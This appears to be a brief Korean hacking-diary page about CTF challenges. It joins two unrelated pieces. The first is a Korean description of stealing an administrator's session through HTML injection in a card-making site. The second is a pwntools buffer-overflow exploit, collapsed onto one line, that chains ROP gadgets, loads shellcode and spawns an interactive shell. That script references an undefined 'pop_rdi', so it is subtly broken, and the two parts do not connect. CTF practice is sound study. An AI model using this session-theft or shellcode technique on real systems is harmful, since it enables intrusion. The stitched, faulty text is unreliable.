고졸백수해킹일기

카드를 만들수 있는 사이트가 있다. 관리자에게 내 카드를 볼 수 있게 하는 submit 메뉴가 있는데 이걸로 관리자의 세션을 탈취 하여 flag를 읽으면 되는 문제 같았다. 카드를 만드는 부분에서. value 부분에 html을 삽입할 수 있게 된다.

https://whit3hat.com/2018/04/05/0ps-ctf-easy-management-web/

from pwn import *import time context(arch='amd64', os='linux')overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"bss = p64(0x6CB164)rdi = p64(0x4014d6)gets = p64(0x40fad0)shell = asm(shellcraft.sh()) payload = ""payload += overflowpayload += pop_rdi+bsspayload += gets+bss s = process("./smashme")s.sendline(payload)time.sleep(1)s.sendline(shell)s.interactive()